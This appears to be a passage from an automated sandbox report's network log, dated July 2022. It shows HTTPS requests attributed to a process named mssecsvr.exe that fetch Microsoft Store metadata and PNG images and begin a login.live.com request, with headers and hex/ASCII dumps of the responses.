Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Wed, 20 Jul 2022 17:06:35 GMT Connection: close
2022-07-20 17:06:35 UTC	4	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 69 74 65 6d 50 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 5c 22 73 74 6f 72 65 43 61 6d 70 61 69 67 6e 49 64 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 74 65 78 74 5c 22 2c 5c 22 69 73 4f 70 74 69 6f 6e 61 6c 5c 22 3a 74 72 75 65 7d 2c 5c 22 69 6e 73 74 61 6c 6c 41 70 70 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 62 6f 6f 6c 65 61 6e 5c Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"u\":\"SubscribedContent\",\"c\":\"CDM\"}],\"ad\":{\"itemPropertyManifest\":{\"storeCampaignId\":{\"type\":\"text\",\"isOptional\":true},\"installApp\":{\"type\":\"boolean\
2022-07-20 17:06:35 UTC	19	IN	Data Raw: 5c 22 3a 5c 22 63 6c 69 63 6b 5c 22 2c 5c 22 70 61 72 61 6d 65 74 65 72 73 5c 22 3a 7b 5c 22 75 72 69 5c 22 3a 5c 22 6d 73 2d 77 69 6e 64 6f 77 73 2d 73 74 6f 72 65 3a 5c 2f 5c 2f 70 64 70 5c 2f 3f 70 72 6f 64 75 63 74 69 64 3d 39 6e 62 6c 67 67 68 35 66 76 39 39 26 6f 63 69 64 3d 65 6d 73 2e 64 63 6f 2e 73 74 61 72 74 70 72 6f 67 72 61 6d 6d 61 62 6c 65 26 63 63 69 64 3d 61 30 37 63 62 35 62 64 61 38 64 32 34 35 63 35 39 63 61 61 64 33 34 63 32 65 31 32 31 61 65 37 26 63 69 64 3d 6d 73 66 74 5f 31 5c 22 7d 2c 5c 22 61 63 74 69 6f 6e 5c 22 3a 5c 22 6c 61 75 6e 63 68 55 72 69 5c 22 7d 2c 5c 22 6f 6e 52 65 6e 64 65 72 5c 22 3a 7b 5c 22 65 76 65 6e 74 5c 22 3a 5c 22 6f 70 70 6f 72 74 75 6e 69 74 79 5c 22 2c 5c 22 70 61 72 61 6d 65 74 65 72 73 5c 22 3a 7b 7d Data Ascii: \":\"click\",\"parameters\":{\"uri\":\"ms-windows-store:\/\/pdp\/?productid=9nblggh5fv99&ocid=ems.dco.startprogrammable&ccid=a07cb5bda8d245c59caad34c2e121ae7&cid=msft_1\"},\"action\":\"launchUri\"},\"onRender\":{\"event\":\"opportunity\",\"parameters\":{}
2022-07-20 17:06:35 UTC	35	IN	Data Raw: 74 70 72 6f 67 72 61 6d 6d 61 62 6c 65 26 63 63 69 64 3d 39 38 30 61 34 35 64 62 63 39 62 38 34 30 66 32 61 33 66 63 39 35 36 38 62 61 39 37 33 61 66 63 26 63 69 64 3d 6d 73 66 74 5f 31 5c 22 7d 2c 5c 22 61 63 74 69 6f 6e 5c 22 3a 5c 22 6c 61 75 6e 63 68 55 72 69 5c 22 7d 2c 5c 22 6f 6e 52 65 6e 64 65 72 5c 22 3a 7b 5c 22 65 76 65 6e 74 5c 22 3a 5c 22 6f 70 70 6f 72 74 75 6e 69 74 79 5c 22 2c 5c 22 70 61 72 61 6d 65 74 65 72 73 5c 22 3a 7b 7d 2c 5c 22 61 63 74 69 6f 6e 5c 22 3a 5c 22 6e 6f 4f 70 5c 22 7d 2c 5c 22 73 68 6f 77 4e 61 6d 65 4f 6e 4d 65 64 69 75 6d 54 69 6c 65 5c 22 3a 7b 5c 22 62 6f 6f 6c 5c 22 3a 74 72 75 65 7d 2c 5c 22 73 68 6f 77 4e 61 6d 65 4f 6e 57 69 64 65 54 69 6c 65 5c 22 3a 7b 5c 22 62 6f 6f 6c 5c 22 3a 74 72 75 65 7d 2c 5c 22 73 68 Data Ascii: tprogrammable&ccid=980a45dbc9b840f2a3fc9568ba973afc&cid=msft_1\"},\"action\":\"launchUri\"},\"onRender\":{\"event\":\"opportunity\",\"parameters\":{},\"action\":\"noOp\"},\"showNameOnMediumTile\":{\"bool\":true},\"showNameOnWideTile\":{\"bool\":true},\"sh
2022-07-20 17:06:35 UTC	51	IN	Data Raw: 61 64 38 31 2d 31 33 31 39 36 66 35 62 61 66 30 30 3f 66 6f 72 6d 61 74 3d 73 6f 75 72 63 65 5c 22 2c 5c 22 77 69 64 74 68 5c 22 3a 31 34 32 2c 5c 22 68 65 69 67 68 74 5c 22 3a 31 34 32 2c 5c 22 73 68 61 32 35 36 5c 22 3a 5c 22 51 50 5c 2f 4a 45 48 4a 59 57 39 38 6d 36 39 4f 4a 4c 42 42 30 59 48 33 64 78 49 6a 70 75 6d 59 72 74 74 4c 46 38 62 66 5c 2f 33 66 77 3d 5c 22 2c 5c 22 66 69 6c 65 53 69 7a 65 5c 22 3a 31 37 30 31 38 7d 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 5c 22 3a 7b 5c 22 6e 75 6d 62 65 72 5c 22 3a 32 2e 30 7d 2c 5c 22 6d 65 64 69 75 6d 54 69 6c 65 5c 22 3a 7b 5c 22 69 6d 61 67 65 5c 22 3a 5c 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 6f 72 65 2d 69 6d 61 67 65 73 2e 73 2d 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 5c 2f 69 6d 61 67 65 5c 2f 61 70 70 Data Ascii: ad81-13196f5baf00?format=source\",\"width\":142,\"height\":142,\"sha256\":\"QP\/JEHJYW98m69OJLBB0YH3dxIjpumYrttLF8bf\/3fw=\",\"fileSize\":17018},\"collection\":{\"number\":2.0},\"mediumTile\":{\"image\":\"https:\/\/store-images.s-microsoft.com\/image\/app

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
10	192.168.2.7	49923	23.211.6.115	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:07:04 UTC	98	OUT	GET /image/apps.39478.14495311847124170.e89a4dce-fd9a-4a10-b8e4-a6c3aa1c055e.8ad1b690-ff36-44fa-8afc-0dc5bed1273c?format=source HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: store-images.s-microsoft.com Connection: Keep-Alive
2022-07-20 17:07:04 UTC	98	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=7776000, s-maxage=7776000 Content-Length: 37622 Content-Type: image/png Last-Modified: Thu, 30 Sep 2021 03:30:15 GMT Accept-Ranges: none ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDk4M0MyOUU1MTM1NDQ" MS-CV: YXEQRcwIqUCuqc/O.0 Access-Control-Expose-Headers: MS-CV Date: Wed, 20 Jul 2022 17:07:04 GMT Connection: close Access-Control-Allow-Origin: *
2022-07-20 17:07:04 UTC	99	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 2c 00 00 01 2c 08 02 00 00 00 f6 1f 19 22 00 00 92 bd 49 44 41 54 78 01 ec 9a 81 6e db 38 10 44 09 20 52 72 69 3e e3 92 d8 76 74 77 ff ff 75 e7 68 db 07 25 43 10 cb 2e 49 cb 85 81 01 31 5a 53 6e 52 e8 65 96 a4 d2 c3 f4 77 56 93 68 36 a9 e6 d7 ad 5f f5 f6 45 8f 5b 6f a2 6e 66 80 0e ab de 37 3a 4c 4f ef ab 0e 95 3a ae c2 33 22 8a 36 d6 eb 2e fd af de 88 a2 53 f3 45 8f 87 e9 d1 cc fb 74 d1 cf e2 db 30 f1 c0 63 50 da 50 87 31 e4 1c f8 a1 f9 6d 45 51 f0 13 35 41 ce 28 92 ca 6a 80 aa bb 8e 5b df 4e a7 e9 af 5c 05 23 e3 c6 9c 4c e8 52 b7 2f b1 4f b3 d3 0a 77 71 2f f5 ef 5f a5 33 a9 c4 a5 b0 f5 95 20 ba 3e 54 d3 65 7c 6a 0f a4 c9 7c 02 3f c0 9b 31 25 59 e8 99 ca bc 61 02 7a 7a fb 8c 2c 23 cd 08 24 c4 6c c4 Data Ascii: PNGIHDR,,"IDATxn8D Rri>vtwuh%C.I1ZSnRewVh6_E[onf7:LO:3"6.SEt0cPP1mEQ5A(j[N\#LR/Owq/_3 >Te\|j\|?1%Yazz,#$l
2022-07-20 17:07:04 UTC	114	IN	Data Raw: 9f 09 6e 39 ec 8d 6c 41 04 8c 2d f5 1d b9 88 b9 d6 9f 16 88 54 87 ed 3b 62 fb 0e 8e cc 43 c9 e0 f6 4e 55 91 0f 4c a7 48 31 8c 02 45 d8 ae a2 a8 ca 09 20 81 a5 90 0e 42 d9 4e 42 e9 8a 44 b3 b7 3a 7c f2 4a ab b1 56 d3 75 92 3c a2 e3 ed 32 48 2e 01 a1 08 bd f8 30 f6 2c 10 c8 ea 59 09 36 17 a8 d3 ae fd d8 ed 2e 75 04 be 99 ad 61 83 26 fd 92 96 6e a7 c8 41 f2 7f cd 83 d2 0f c4 89 6f d9 38 95 3d 15 42 f2 8e b2 94 6c a6 2d 8b a1 fb fc e6 2c df 52 b5 6f 64 87 c5 80 2b 37 ee 7b 77 0b 43 bb f4 9f 8d 91 af fc d8 75 e0 2c 83 27 5b 99 38 4a 90 f4 19 b1 90 fe 84 2b eb df db d1 2f ef df 8d 1d 64 e4 94 55 ec 20 69 b3 06 e2 5a c7 57 7e 2c 5c b5 07 07 84 a5 a5 23 93 49 17 03 28 5b f0 96 6f 90 c1 73 2e d7 a0 6b 81 6a 6d 25 3f 16 e2 71 60 6d f4 55 35 8c 24 7a 21 bb aa 7b ee Data Ascii: n9lA-T;bCNULH1E BNBD:\|JVu<2H.0,Y6.ua&nAo8=Bl-,Rod+7{wCu,'[8J+/dU iZW~,\#I([os.kjm%?q`mU5$z!{
2022-07-20 17:07:04 UTC	123	IN	Data Raw: d9 34 35 ea 0e 87 2a 84 d9 dd e9 a7 04 66 d1 e4 c4 ef 3c 7b 29 7e be 40 37 81 53 39 67 f2 6a 9b a4 c9 9e f7 3a ee 01 78 f8 14 43 02 3b f1 cb 0a 9b d5 16 3d 6d 1c ab 11 91 37 0f 89 dd b3 1d 30 13 fe 6c ac ed 08 e0 58 0f 7b f2 9b da c7 f6 fc ed 1f 48 83 e5 6f 37 d2 53 17 6b b9 4f f2 d3 c4 87 8b 19 44 e4 90 04 52 ef e4 da f1 4d ad 6d c9 bd 73 e9 3f ea 11 9f 11 3c 6a 28 32 f8 05 0d d6 74 bf 70 b1 41 16 d9 a3 3a e7 74 23 0b 62 d3 38 26 f5 95 9d 25 ab c0 c0 0c 41 51 ea 2b 9c ac 0f 9e 5a dc a6 71 b3 d4 2f 02 c6 71 7b ae 34 8e 21 a2 59 37 b7 a3 43 dc c4 b8 aa 2e 73 a3 07 36 8f 4e ff f8 e7 bf a7 e6 59 54 4f 08 e2 26 29 18 44 53 4c e6 22 65 32 a2 b1 c4 fa b9 c7 1d 82 d2 79 3f 4a 56 3b 82 9b b0 c8 61 8c 62 bd a3 a0 b5 c4 19 7d 0f 32 eb 7e de f7 ee 8e 39 a5 e4 9f 66 Data Ascii: 45*f<{)~@7S9gj:xC;=m70lX{Ho7SkODRMms?<j(2tpA:t#b8&%AQ+Zq/q{4!Y7C.s6NYTO&)DSL"e2y?JV;ab}2~9f

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
11	192.168.2.7	49969	23.211.6.115	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:07:07 UTC	135	OUT	GET /image/apps.40093.9007199266285780.3d16d9fa-052b-42c5-ba7d-a5688e3dda24.e6964d6a-18a4-4746-9238-9f0acc233a65?format=source HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: store-images.s-microsoft.com Connection: Keep-Alive
2022-07-20 17:07:07 UTC	136	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=7776000, s-maxage=7776000 Content-Length: 7669 Content-Type: image/png Last-Modified: Thu, 24 May 2018 00:36:00 GMT Accept-Ranges: none ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDVDMTBFNTJCMkI1MzM" MS-CV: zKJ18ukIb0aTWgjG.0 Access-Control-Expose-Headers: MS-CV Date: Wed, 20 Jul 2022 17:07:07 GMT Connection: close Access-Control-Allow-Origin: *
2022-07-20 17:07:07 UTC	136	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 2c 00 00 01 2c 08 06 00 00 00 79 7d 8e 75 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 1d af 49 44 41 54 78 01 ed 9d 09 74 5d c5 79 c7 3f e9 69 df 17 5b 96 65 c9 bb 83 01 03 61 5f 62 02 04 43 ba a4 a5 24 69 9a e6 94 93 90 a6 69 d2 94 b4 64 21 4b 4f 9b e4 34 74 0b 25 6c a7 14 92 d0 24 27 10 92 1c 5a 48 a0 98 10 16 1b c2 c1 36 36 c6 36 d8 18 cb 96 6c c9 5a 2c 6b 7f d2 d3 f2 f4 3a 73 65 2d f7 e9 5d 57 cb 7d d2 cc bb bf 39 47 bc 3b 77 ee 9d f9 e6 f7 0d 7f cf 9d 3b 77 26 2d 54 79 69 4c 08 10 80 00 04 2c 20 90 6e 81 8d 98 08 01 08 40 c0 21 80 60 d1 10 20 00 01 6b 08 20 58 d6 b8 0a 43 21 00 01 04 8b 36 00 01 08 58 43 00 c1 b2 c6 55 18 0a 01 08 20 58 b4 01 08 40 c0 1a 02 08 96 35 ae c2 50 08 40 00 c1 a2 0d Data Ascii: PNGIHDR,,y}usRGBIDATxt]y?i[ea_bC$iid!KO4t%l$'ZH666lZ,k:se-]W}9G;w;w&-TyiL, n@!` k XC!6XCU X@5P@

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
12	192.168.2.7	49978	23.211.6.115	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:07:08 UTC	144	OUT	GET /image/apps.49525.13510798887047136.8a1815b2-017c-48c8-80cc-ca4d1ae5c8cf.2f6b9bdf-a4fc-42d8-aea0-65c437755b78?format=source HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: store-images.s-microsoft.com Connection: Keep-Alive
2022-07-20 17:07:08 UTC	144	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=7776000, s-maxage=7776000 Content-Length: 5777 Content-Type: image/png Last-Modified: Tue, 31 Mar 2020 18:42:54 GMT Accept-Ranges: none ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDdENUEzNTJCQjJGM0E" MS-CV: sE5KrZztTESl/Nvr.0 Access-Control-Expose-Headers: MS-CV Date: Wed, 20 Jul 2022 17:07:08 GMT Connection: close Access-Control-Allow-Origin: *
2022-07-20 17:07:08 UTC	145	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 8e 00 00 00 8e 08 06 00 00 00 e7 fd 30 08 00 00 16 58 49 44 41 54 78 da ed 9d 0b 98 14 d5 95 c7 4f 55 77 cf 7b 98 27 30 03 0c 32 c0 3c 18 90 a7 02 22 2a 88 1a 5f 49 4c 76 e5 e9 aa c9 ae df ba 8b 49 24 a2 0b 7c 01 8c 51 3f 13 35 2a 2a ba 26 ab 44 57 d7 90 20 a0 e8 b2 20 a2 2c a0 3c 8d b0 40 90 37 01 86 d7 cc 30 d3 33 d3 ef 5b 5b 55 53 d5 73 eb d6 bd 55 d5 f8 98 ae ee 7b f9 ee d7 5d d3 35 35 dd 75 7f fd 3f ff 73 4e 75 23 02 1f 7c 5c c4 10 f9 29 e0 83 83 c3 07 07 87 0f 0e 0e 1f 1c 1c 3e f8 e0 e0 f0 c1 c1 e1 83 83 c3 07 07 87 0f 0e 0e 1f 7c 70 70 f8 e0 e0 f0 c1 c1 e1 83 83 c3 07 07 87 0f 3e 38 38 7c 70 70 f8 e0 e0 f0 c1 c1 e1 83 83 c3 07 3e 04 9b c9 c1 e1 83 0a ca d7 bd 3f 07 27 45 61 f9 ba 8e c5 c1 49 Data Ascii: PNGIHDR0XIDATxOUw{'02<"_ILvI$\|Q?5*&DW ,<@703[[USsU{]55u?sNu#\|\)>\|pp>88\|pp>?'EaI

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
13	192.168.2.7	50022	23.211.6.115	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:07:09 UTC	150	OUT	GET /image/apps.58298.9007199266285780.3d16d9fa-052b-42c5-ba7d-a5688e3dda24.55988ee1-bd9b-4322-980a-a610abdc7713?format=source HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: store-images.s-microsoft.com Connection: Keep-Alive
2022-07-20 17:07:09 UTC	151	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=7776000, s-maxage=7776000 Content-Length: 29489 Content-Type: image/png Last-Modified: Thu, 24 May 2018 00:36:03 GMT Accept-Ranges: none ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDVDMTBFNTRBMjBFNDk" MS-CV: ueR7a/BKZkGigRoU.0 Access-Control-Expose-Headers: MS-CV Date: Wed, 20 Jul 2022 17:07:09 GMT Connection: close Access-Control-Allow-Origin: *
2022-07-20 17:07:09 UTC	151	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 02 6c 00 00 02 6c 08 06 00 00 00 40 95 ff 25 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 40 00 49 44 41 54 78 01 ec 9d 07 9c 5c 57 79 b7 df dd d9 de bb 56 ab de 65 59 b6 e5 de 30 d5 40 28 09 21 04 48 20 21 84 1e 92 ef 0b e4 a3 25 21 84 00 01 52 80 10 48 42 8b 83 29 36 25 c6 dd c6 36 ee 55 b2 65 4b 96 ad 5e 56 d2 f6 be b3 3b bd 7d e7 8c 91 51 d9 9d bd 77 e6 de 99 5b 9e e3 df 78 67 ee 3d e5 7d 9f f7 6a f6 bf a7 96 05 ba 2f cd 08 09 02 10 80 00 04 20 00 01 08 40 c0 b1 04 ca 1d 6b 19 86 41 00 02 10 80 00 04 20 00 01 08 64 09 20 d8 78 10 20 00 01 08 40 00 02 10 80 80 c3 09 20 d8 1c 1e 20 cc 83 00 04 20 00 01 08 40 00 02 08 36 9e 01 08 40 00 02 10 80 00 04 20 e0 70 02 08 36 87 07 08 f3 20 00 01 08 40 00 02 Data Ascii: PNGIHDRll@%sRGB@IDATx\WyVeY0@(!H !%!RHB)6%6UeK^V;}Qw[xg=}j/ @kA d x @ @6@ p6 @
2022-07-20 17:07:09 UTC	167	IN	Data Raw: 6c a6 02 f7 f0 ec 39 a6 f2 e7 ca 7c b1 c1 79 6c ba 8e ba 25 2b 73 55 75 ca bd a0 3a 18 3e 3a c6 0a e0 53 a0 f0 01 02 1e 21 10 3e f2 9c 64 12 31 8f 78 83 1b 66 09 20 d8 cc 12 f3 50 7e 96 86 9b 0b a6 5e 29 3a 9d aa 37 57 68 9e dc 6d 15 41 39 a7 c6 d8 f6 1e f5 4b 57 cd 53 cb dc 97 c7 9e 7e 54 f4 42 04 12 04 20 e0 2d 02 7c 67 7b 2b 9e 66 bd 41 b0 99 25 e6 a1 fc fa 10 f8 e8 e0 61 0f 79 64 af 2b 7a 2f b6 47 42 9b 2d 6b e4 65 0d c6 f6 4f d3 c3 a2 15 75 0d 86 db 4d cc 4c cb d4 1e 16 95 18 06 46 46 08 b8 84 00 0b 0e 5c 12 28 9b cc 44 b0 d9 04 d6 2d d5 32 81 d5 5c a4 ee 9d 3d df 5c 81 1c b9 5f d6 60 7c 2f a5 7a 13 c3 a2 ba c9 a9 fd bb 24 3e 3d 99 a3 75 6e 41 00 02 6e 22 90 89 c7 24 7c 74 b7 9b 4c c6 56 8b 09 20 d8 2c 06 ea b6 ea 58 78 60 2e 62 8f 84 ce 91 91 64 8b Data Ascii: l9\|yl%+sUu:>:S!>d1xf P~^):7WhmA9KWS~TB -\|g{+fA%ayd+z/GB-keOuMLFF\(D-2\=\_`\|/z$>=unAn"$\|tLV ,Xx`.bd
2022-07-20 17:07:09 UTC	175	IN	Data Raw: 3e 17 78 f4 de 1f fb d4 7b dc 86 c0 0b 04 10 6c 3c 09 be 27 10 39 b6 47 1d 61 f5 77 92 49 25 7d cf 02 00 10 70 1a 81 e9 1d f7 c9 c0 8d 5f 77 9a 59 d8 03 81 a2 13 40 b0 15 1d 39 0d 3a 91 80 de 58 97 d3 10 9c 18 19 6c f2 33 81 e0 ae 47 e4 f8 8f d8 18 d7 cf cf 00 be ff 86 00 82 ed 37 2c 78 e7 73 02 c1 e7 1e 55 bf 1c 3e a7 76 4d 4f fb 9c 04 ee 43 a0 f4 04 66 76 3f 21 c7 7f f0 f7 1c 29 57 fa 50 60 81 43 08 20 d8 1c 12 08 cc 70 06 81 e9 1d 0f c8 f1 eb be c4 51 37 ce 08 07 56 f8 94 80 5e 09 ca 34 05 9f 06 1f b7 e7 25 80 60 9b 17 0d 37 fc 4a 40 af 44 eb ff d9 bf f8 d5 7d fc 86 40 49 09 84 0e ee 90 a3 1c 39 55 d2 18 d0 b8 33 09 20 d8 9c 19 17 ac 2a 31 81 c9 ad b7 cb c0 2f fe ad c4 56 d0 3c 04 fc 45 20 dc fb bc 1c 65 d5 b6 bf 82 8e b7 86 09 20 d8 0c a3 22 a3 df 08 Data Ascii: >x{l<'9GawI%}p_wY@9:Xl3G7,xsU>vMOCfv?!)WP`C pQ7V^4%`7J@D}@I9U3 *1/V<E e "

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
14	192.168.2.7	50025	23.211.6.115	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:07:09 UTC	180	OUT	GET /image/apps.616.13510798887047136.8a1815b2-017c-48c8-80cc-ca4d1ae5c8cf.d81cfd95-c9fd-48e0-8fc3-36ff7b9e590a?format=source HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: store-images.s-microsoft.com Connection: Keep-Alive
2022-07-20 17:07:09 UTC	180	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=7776000, s-maxage=7776000 Content-Length: 8756 Content-Type: image/png Last-Modified: Tue, 31 Mar 2020 18:42:50 GMT Accept-Ranges: none ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDdENUEzNTBFMkI5NzY" MS-CV: LWC80YNOokeu7YAI.0 Access-Control-Expose-Headers: MS-CV Date: Wed, 20 Jul 2022 17:07:09 GMT Connection: close Access-Control-Allow-Origin: *
2022-07-20 17:07:09 UTC	181	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 2c 00 00 01 2c 08 06 00 00 00 79 7d 8e 75 00 00 21 fb 49 44 41 54 78 da ed 9d 09 98 54 d5 99 bf bf 5a 7a 83 86 6e a0 51 76 94 55 1b d9 dd 45 23 46 8d 26 c4 a0 13 5c 92 19 93 49 1c 9e ff df 99 c9 18 9d 24 2e 20 9a a8 33 79 cc 38 06 93 41 27 13 63 34 71 66 e2 02 ca 62 02 24 51 13 83 2c 51 49 a2 a0 60 b3 08 08 0d d2 0d bd 56 75 f7 bd 53 55 5d 55 7d ea de 73 ee bd d5 dd 60 03 ef 3b cf 49 57 df a2 0a ba 93 7a e7 fb 7e f7 bb e7 86 05 00 e0 18 21 cc af 00 00 10 16 00 00 c2 02 00 84 05 00 80 b0 00 00 10 16 00 20 2c 00 00 84 05 00 80 b0 00 00 61 01 00 20 2c 00 00 84 05 00 08 0b 00 00 61 01 00 20 2c 00 40 58 00 00 08 0b 00 00 61 01 00 c2 02 00 40 58 00 00 08 0b 00 10 16 00 00 c2 02 00 40 58 00 80 b0 00 00 10 Data Ascii: PNGIHDR,,y}u!IDATxTZznQvUE#F&\I$. 3y8A'c4qfb$Q,QI`VuSU]U}s`;IWz~! ,a ,a ,@Xa@X@X

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
15	192.168.2.7	50031	23.211.6.115	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:07:10 UTC	189	OUT	GET /image/apps.64128.9007199266246227.c596c546-6fcb-4260-935c-19bc24b971ef.d58015ff-2fcf-4113-975b-e873039b6d86?format=source HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: store-images.s-microsoft.com Connection: Keep-Alive
2022-07-20 17:07:10 UTC	189	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=7776000, s-maxage=7776000 Content-Length: 9564 Content-Type: image/png Last-Modified: Fri, 19 Jun 2020 10:03:46 GMT Accept-Ranges: none ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDgxNDM4MEU0RkE1MkY" MS-CV: PTXdXnhlC0uTORe3.0 Access-Control-Expose-Headers: MS-CV Date: Wed, 20 Jul 2022 17:07:10 GMT Connection: close Access-Control-Allow-Origin: *
2022-07-20 17:07:10 UTC	190	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 2c 00 00 01 2c 08 06 00 00 00 79 7d 8e 75 00 00 25 23 49 44 41 54 78 da ed 9d 69 8c 64 d7 75 df ff e7 be 57 5b 6f d3 b3 72 c6 1c 8a 22 c1 55 8e 15 c6 14 25 21 89 21 29 92 62 38 40 12 04 d9 20 d8 81 13 01 71 e2 58 80 05 46 86 21 d1 0a 82 c4 0e 92 2f 8e 2c 41 66 90 0f 89 2c 89 4a 14 4b 96 22 20 a6 43 d9 a2 e4 c8 89 48 91 41 c4 25 e2 1a 72 46 5c c6 9a 95 bd cc f4 56 f7 e4 c3 bb ef bd fb 6e bd ad aa ab 87 54 d7 ff 07 16 fb d5 da 3d 55 fd 7e 7d ce b9 e7 de 0b 10 42 08 21 84 10 42 08 21 84 10 42 08 21 84 10 42 08 21 84 10 42 08 21 84 10 42 08 21 84 10 42 08 21 84 10 42 08 21 84 10 42 08 21 84 10 42 08 21 84 10 42 08 21 84 10 42 08 21 84 10 42 08 21 84 10 42 08 21 84 10 42 08 21 84 10 42 08 21 84 10 42 08 Data Ascii: PNGIHDR,,y}u%#IDATxiduW[or"U%!!)b8@ qXF!/,Af,JK" CHA%rF\VnT=U~}B!B!B!B!B!B!B!B!B!B!B!B!B!B!B!B!B

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
16	192.168.2.7	50154	40.126.32.67	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:07:16 UTC	199	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.29340.5; App svchost.exe, 10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
